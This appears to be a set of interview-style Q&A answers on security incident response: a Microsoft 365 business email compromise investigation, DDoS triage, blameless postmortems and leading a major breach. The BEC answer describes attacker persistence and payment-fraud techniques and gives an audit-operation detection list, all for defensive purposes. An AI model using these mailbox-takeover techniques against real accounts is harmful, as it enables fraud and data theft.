Clarify three things: which mailbox, what triggered the report (a recipient asking "did you send this?", a sign-in alert, a finance colleague), and whether any payment has already moved.

Evidence, in this order. Pull Entra ID sign-in logs and the Purview Unified Audit Log. Sign-in logs retain 7 days on Entra ID Free and 30 days on P1/P2: on Free, export now or lose the window.

Audit operationWhat it tells you
New-InboxRule / Set-InboxRule / UpdateInboxRulesRules that hide replies, move to RSS Feeds / Conversation History / Archive, or forward
Set-MailboxForwardingSmtpAddress, DeliverToMailboxAndForward
New-TransportRule / Set-TransportRuleTenant-level forwarding or blocking that survives mailbox cleanup
Add-MailboxPermission / Add-RecipientPermissionDelegate or SendAs persistence
Consent to application / Add service principalOAuth app with Mail.Read + offline_access: survives a password reset
User registered security infoAttacker-added MFA method
MailItemsAccessedFolder-level reads; historically Purview Audit (Premium)/E5, so confirm licensing before relying on it

powershell Connect-ExchangeOnline Get-InboxRule -Mailbox victim@contoso.com | Format-List Name,Enabled,ForwardTo,RedirectTo,DeleteMessage,MoveToFolder Get-Mailbox victim@contoso.com | Select ForwardingSmtpAddress,DeliverToMailboxAndForward Get-MailboxPermission victim@contoso.com | Where-Object {$_.User -notlike "NT AUTHORITY*"} Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) -Operations New-InboxRule,Set-InboxRule,UpdateInboxRules,Set-Mailbox,Add-MailboxPermission -ResultSize 5000 | Export-Csv bec-audit.csv -NoTypeInformation

Export before deleting anything. Removing a rule is remediation and evidence destruction in the same command.

Pivot on the attacker. Take the source IP/ASN and user agent from the sign-in logs and search the whole tenant's audit log for that IP: BEC campaigns hit several mailboxes in one tenant. Check tenant-wide for new transport rules, connectors, federation settings, global admins and OAuth consents.

Financial-fraud and recipient exposure. Read sent items and deleted items. The pattern is: the attacker finds an invoice or payment thread, creates a rule that hides the real counterparty's replies, then replies inside the real thread with changed bank details. Enumerate every external recipient the mailbox exchanged payment-related mail with in the window, every message sent from the account, and every thread where new banking details appeared. That list is your notification list: finance, the bank, the counterparties. Time beats stealth here: a bank stop or payment recall is worth more than keeping the attacker unaware for another hour.

Containment, in one coordinated window so the attacker never reacts between steps:

  1. Block sign-in and revoke refresh tokens/sessions (Revoke-MgUserSignInSession; Revoke-AzureADUserAllRefreshToken on older tenants). Access tokens live about an hour, so revocation is not instant.
  2. Reset the password and re-enrol MFA, removing attacker-added methods.
  3. Remove inbox rules, forwarding, delegates and SendAs grants.
  4. Revoke malicious OAuth consents and any tenant-level transport rules or connectors.
  5. Contact the user out-of-band by phone, never through the mailbox.

Then verify: re-run the rule and forwarding queries, confirm no new sign-ins, and re-check tenant-level objects a day later.

Failure modes. Resetting the password first and leaving the OAuth refresh token alive: the attacker keeps Mail.Read. Removing rules before exporting them. Missing a tenant-level transport rule that re-forwards after mailbox cleanup. Notifying the user by email. Treating "no rules found" as clean when the attacker used a delegate or an app instead.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-24

Walk me through responding to a denial-of-service attack on a public service: how you triage impact, engage upstream providers, and rule out that the flood is a smokescreen for a concurrent intrusion?

Answer

Core (first 90 seconds). I declare an availability incident and split the response into two tracks, saying out loud that the flood may be cover for something else. Track A mitigates; Track B hunts. Assumptions I state: out-of-band management and monitoring that does not ride the attacked path, a 24/7 escalation contact at the ISP or scrubbing provider, and a known failover target.

Triage impact before touching a single filter. Which service is down: one VIP, one region, the whole edge? Then classify the attack, because the class decides who can fix it:

ClassSignatureFirst move
Volumetric L3/4transit link counters and pps spike, one protocol dominatesupstream diversion or RTBH: on-prem gear is already bypassed
Protocol (SYN, ACK, DNS)half-open connections, conntrack/connection table fullSYN cookies, per-source rate limits, scrub
Application L7request rate up, few source ASNs, expensive endpoints hitWAF rules, caching, per-key limits, autoscale

The arithmetic decides the strategy. 1 Mpps of 60-byte SYNs is only 480 Mbps, nothing on a 10 Gbps link, but it fills a 1M-entry conntrack table in seconds and takes the service down anyway. Conversely a 40 Gbps flood saturates a 10 Gbps transit, so no local appliance can help; mitigation has to happen upstream. That is why you call the provider early instead of spending an hour tuning locally.

Engaging upstream. Open the ticket with what they need to act: UTC timestamps, destination IPs/prefixes, protocol and ports, observed volume, sample pcaps, business impact, and the specific action requested. Diversion to a scrubbing center, a /32 RTBH for the single attacked VIP, or a rate-limit. Ask for their escalation path and a named engineer; a ticket queue is not a mitigation. If we run anycast or a CDN, shift traffic there and let the provider absorb it. Enable SYN cookies, tighten timeouts, cap per-source connections. For L7, push WAF rules and cache aggressively, but check that rate limits don't break health checks and geo-blocks don't cut off real customers.

Ruling out the smokescreen. While Track A works, Track B asks what changed that we didn't do: new or unusual admin/SSO sessions, MFA resets, new API keys or IAM role changes, config changes on edge devices, egress volume or DNS query anomalies, new outbound destinations, and any failover that moved traffic into a less-monitored DR environment. The flood is often the loudest thing in the room precisely so nobody looks at the quiet one. Keep logging on an out-of-band path so the attacker cannot blind you by saturating the same link.

Failure modes. RTBH on the wrong prefix is a self-inflicted outage; blackholing the VIP kills the service as thoroughly as the attacker. Over-blocking takes out legitimate customers and can outlast the attack in reputational cost. Scrubbing adds latency and can break TLS pinning or long-lived connections. The worst is tunnel vision: the whole team watches the pps graph while exfiltration finishes unnoticed. Detect that by giving Track B a named owner and a written checklist, not by hoping someone remembers.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-23

Run a blameless post-incident review that produces accountable improvement.

Answer

What I'd say first

Assume a Sev-2: checkout degraded for 59 minutes, ~4,100 failed checkouts. Blameless means the review's output is facts and fixes, not fault: it does not mean nobody owns the fix. Three moves: rebuild the timeline from evidence, explain every action as locally rational given what that person could see, then convert the systemic contributors into a handful of owned, dated, verifiable actions.

Why local rationality beats blame

Blame isn't just unfair, it's lossy. If the review can cost someone their job, the people who know most about the failure, the ones who made the change, become the least forthcoming, and you lose exactly the data you need. Reason's Swiss-cheese framing and Dekker's just-culture substitution test give the operational rule: ask "would a peer, with the same information, tools, workload and authority, have done the same?" If yes, the contributor is systemic. If no, it's a conduct matter, handled outside the postmortem.

Worked trace (hypothetical)

timeevent
09:12checkout-service v412 deploys; raises DB pool max 20 → 50 to cut timeouts
09:14checkout p99 180 ms → 2.4 s
09:19alert: p99 > 1 s for 5 min
09:31on-call acks, assumes the DB is slow
09:48DB dashboards clean; escalates to payments
10:05pool change identified; rollback
10:11recovery; 59 min degraded, ~4,100 failed checkouts

The engineer raised the pool because timeouts were the top alert, and the change was reviewed and approved. The unseen contributor: six services share a 200-connection DB budget, and 50 × 6 = 300. Each service's pool lived in its own repo, so no single reviewer could see the aggregate. That is the systemic contributor, not the engineer.

Actions that actually land

actionownerpridueoutcomeverification
per-service pool budget in Terraformpayments-platformP114 dΣ pool max ≤ 180CI rejects a PR over budget; game day re-run
alert on aggregate DB connectionsobservabilityP230 dfires <60 s at >85% of max_connectionsstaging load injection
service ownership registryplatformP360 d100% of services have a named owneraudit query

Failure mode: action aging

The classic failure is a review that produces a good document and no change. Detection: at the 30-day check, if more than 20% of P1 actions are past due, or the same failure signature recurs, the review failed. In the example above, the pool-starvation signature appeared three times in nine months across different services: proof the systemic fix was never funded. Each recurrence costs another ~1 hour of degraded checkout.

Trade-offs

Blameless is the wrong tool when the substitution test fails, deliberate violation or repeated disregard, and it's overkill for a single-owner, no-customer-impact incident, where a 15-minute lightweight review suffices. The alternative to reject is single-root-cause RCA: it terminates at one cause and hides the aggregate conditions above. Google's SRE Book devotes a chapter to postmortem culture and is the standard reference for the written format.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-25

Lead end-to-end response to a major security incident.

Answer

Assume a confirmed major security incident: attacker has access to production, likely data exfiltration, and we're within the first hour. My first 60 seconds: declare a SEV1, assign an incident commander (IC) separate from the technical lead, and open a dedicated bridge and out-of-band channel (e.g., Signal or a separate Slack workspace) so we're not coordinating on potentially compromised systems. I'd also start a timeline document with timestamps and decisions.

I use NIST SP 800-61r2 as the backbone: preparation, detection & analysis, containment, eradication, recovery, post-incident. But leadership is about making decisions under uncertainty. I'd set up a severity matrix to drive response. For example:

SeverityExampleResponse timeUpdate cadence
SEV1Active breach, data exfiltration, ransomwareBridge in 15 min, IC assignedEvery 30 min to execs, every 2h to org
SEV2Suspected breach, no confirmed exfiltrationBridge in 30 minEvery 2h to execs, daily to org
SEV3Minor incident, containedTicket, no bridgeDaily

This prevents over- or under-reacting.

Detection & analysis: validate the signal. Don't trust a single alert. Correlate EDR, SIEM, and network logs. Map identities, assets, data, and persistence. I'd ask: what's the blast radius? Which tenants? What's the confidence level? Preserve evidence proportionately: capture memory and disk images of key hosts before containment if possible, but don't let evidence collection delay containment of active exfiltration.

Containment: the key tradeoff is speed vs. evidence and vs. tipping off the attacker. I'd choose reversible containment first: isolate network segments, disable compromised accounts, rotate credentials. But if the attacker is actively exfiltrating, I might accept the risk of tipping them off by cutting network access. For example, if we see data leaving to an unknown IP, I'd block that IP at the firewall immediately, even if it alerts the attacker, because stopping exfiltration is priority. Irreversible actions like wiping and rebuilding come later, after eradication.

Eradication: remove root cause and persistence. This is where failure modes bite. A common failure: eradicating too fast, missing a backdoor, and the attacker returns. So I'd hunt for persistence mechanisms: scheduled tasks, services, SSH keys, cloud IAM backdoors. Rotate all exposed trust: passwords, tokens, certificates. Rebuild from verified artifacts, not from compromised hosts.

Recovery: restore from known-good backups, but verify integrity. Bring services back in priority order, with monitoring for re-infection. Exit criteria: no anomalous activity for X hours, all persistence removed, root cause understood, and residual actions have owners and deadlines. Don't exit just because the alert stopped.

Communication: facts, uncertainty, actions, cadence. For each audience (technical, legal, exec, customers) tailor the message. Legal/privacy may have 72-hour GDPR notification. Don't attribute without evidence.

Post-incident: blameless review. Document residual risk. Actions must be funded, assigned, and tested to effectiveness. Re-exercise the plan.

Concrete failure modes: 1) Premature eradication tips off attacker who then destroys evidence or escalates. 2) Hasty containment destroys volatile memory that would show how they got in. 3) Missing a persistence mechanism leads to re-compromise. 4) Poor communication causes legal or PR damage.

The whole thing is a balance: you're making decisions with incomplete information, and you need to document why.

Curated: · Written: · Reviewed:

Difficulty: Hard